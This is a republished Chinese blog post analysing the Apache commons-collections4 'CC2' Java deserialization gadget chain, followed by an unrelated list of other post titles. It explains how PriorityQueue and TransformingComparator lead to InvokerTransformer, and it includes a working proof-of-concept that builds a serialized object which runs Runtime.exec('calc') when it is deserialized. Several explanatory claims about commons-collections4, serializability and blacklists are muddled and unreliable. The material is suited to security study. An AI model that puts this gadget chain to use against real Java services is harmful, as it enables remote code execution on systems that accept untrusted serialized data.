博客
关于我
Java反序列化-CC2分析,从零基础到精通,收藏这篇就够了!
阅读量:791 次
发布时间:2023-01-28

本文共 3100 字,大约阅读时间需要 10 分钟。

Java反序列化-CC2分析

在CC2中,commons-collections4取代了commons-collections,新增了PriorityQueue和TransformingComparator作为反序列化的入口点和跳板。PriorityQueue通过readObject方法加载数据并调用heapify进行二叉堆调整,涉及的comparator会触发TransformingComparator的比较方法,从而连接PriorityQueue和TransformingComparator。

如何将PriorityQueue、TransformingComparator作为入口点和跳板去利用

TransformingComparator的作用

TransformingComparator的作用是修饰输入数据并调用decorated的比较方法。其代码如下:

public int compare(final I obj1, final I obj2) {    final O value1 = this.transformer.transform(obj1);    final O value2 = this.transformer.transform(obj2);    return this.decorated.compare(value1, value2);}

通过transform方法,TransformingComparator将原始对象转换后调用decorated的compare方法,触发利用链。

PriorityQueue的作用

PriorityQueue的readObject方法首先读取数据并初始化队列,之后调用heapify进行树化。heapify使用siftDown方法调整数据,若Comparator存在则调用siftDownUsingComparator,否则使用siftDownComparable。siftDownUsingComparator中使用Comparator对子节点进行比较,实现数据排序。

private void siftDownUsingComparator(int k, E x) {    int half = size >> 1;    while (k < half) {        int child = (k << 1) + 1;        Object c = queue[child];        int right = child + 1;        if (right < size && comparator.compare(c, queue[right]) > 0)            c = queue[child = right];        if (comparator.compare(x, c) <= 0)            break;        queue[k] = c;        k = child;    }    queue[k] = x;}

通过Comparator的使用,PriorityQueue与TransformingComparator结合,完成反序列化调用链。

利用PriorityQueue和TransformingComparator构造Poc

利用链概述

PriorityQueue.readObject() → TransformingComparator.compare() → ChainedTransformer.transform() → InvokerTransformer.transform()

Poc实现

public class Poc {    public static void main(String[] args) throws Exception {        Transformer[] transformers = new Transformer[]{            new ConstantTransformer(Runtime.class),            new InvokerTransformer("getMethod", new Class[]{String.class, Class[]}, new Object[]{"getRuntime", new Class[]{}}),            new InvokerTransformer("invoke", new Class[]{Object.class, Object[]}, new Object[]{null, new Object[]{}}),            new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})        };        ChainedTransformer chain = new ChainedTransformer(new Transformer[]{});        PriorityQueue queue = new PriorityQueue(new TransformingComparator(chain));        queue.add(1);        queue.add(1);        Field field = chain.getClass().getDeclaredField("iTransformers");        field.setAccessible(true);        field.set(chain, transformers);        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("CC2"));        oos.writeObject(queue);        ObjectInputStream ois = new ObjectInputStream(new FileInputStream("CC2"));        ois.readObject();    }}

commons-collections4的作用

在CC2中,TransformingComparator未实现Serializable,导致序列化失败。commons-collections4修复了这一问题,使TransformingComparator支持Serializable,继承了CC3中的黑名单机制。

CC4简要说明

CC4绕过了CC2中存在的黑名单问题,采用相同的反序列化机制,但应用场景和依赖类可能有所不同。其Poc与CC2类似,但具体实现可能有细微差别。

结论

在CC2中,PriorityQueue和TransformingComparator共同实现了反序列化的入口和跳板,通过读取数据、调整堆结构并调用Comparator完成利用链。而commons-collections4的引入使TransformingComparator具备了序列化能力,确保reverse engineering的流畅性。在CC4中,类似的机制继续生效,适用于不同的反序列化场景。

转载地址:http://miryk.baihongyu.com/

你可能感兴趣的文章
kali安装docker(亲测有效)
查看>>
Linux系列:Linux目录分析:[/] + [/usr] + [/usr/local] + [/usr/local/app-name]、Linux最全环境配置 + 动态库/静态库配置
查看>>
mysql系列:远程连接MySQL错误“plugin caching_sha2_password could not be loaded”的解决办法
查看>>
Nmap端口服务 之 CentOS7 关于启动Apache(httpd)服务、telnet服务、smtp服务、ftp服务、sftp服务、snmp服务
查看>>
PHP系列:PHP 基础编程 2(时间函数、数组---实现登录&注册&修改)
查看>>
PHP系列:使用PHP实现登录注册功能的完整指南
查看>>
Python&aconda系列:cmd/powershell/anaconda prompt提示“系统找不到指定的路径”(亲测有效)
查看>>
Python&aconda系列:(W&L)Conda使用faiss-gpu报错及解决办法、安装numpy的坑、cmd执行Python脚本找不到第三方库、安装tensorflow-gpu时遇到的from
查看>>
python&anconda 系列:Pycharm在debug问题的N种解决方案(一般程序、web方向、人工智能方向)
查看>>
python&anconda系列(亲测有效):tensorflow AttributeError: ‘str’ object has no attribute ‘decode’
查看>>
python&anconda系列:tf.keras.backend.get_session()和keras.backend.get_会话()返回不同的会话对象(待解答)
查看>>
"WARNING: Increasing RAM size to 1GB" and "Cannot set up guest memory 'xxx.ram': Invalid argument".
查看>>
#if 0 #elif 1 #else #endif 用法
查看>>
(反射+内省机制的运用)简单模拟spring IoC容器的操作
查看>>
(转)tomcat7.0 manager app和host manager web管理
查看>>
.Net(C#)实现异步编程
查看>>
.Net中webBrowser控件JS交互
查看>>
02-Docker镜像分类及操作秘籍,轻松掌握导出、导入、删除
查看>>
04-docker-commit构建自定义镜像
查看>>
04-docker系列-commit构建自定义镜像
查看>>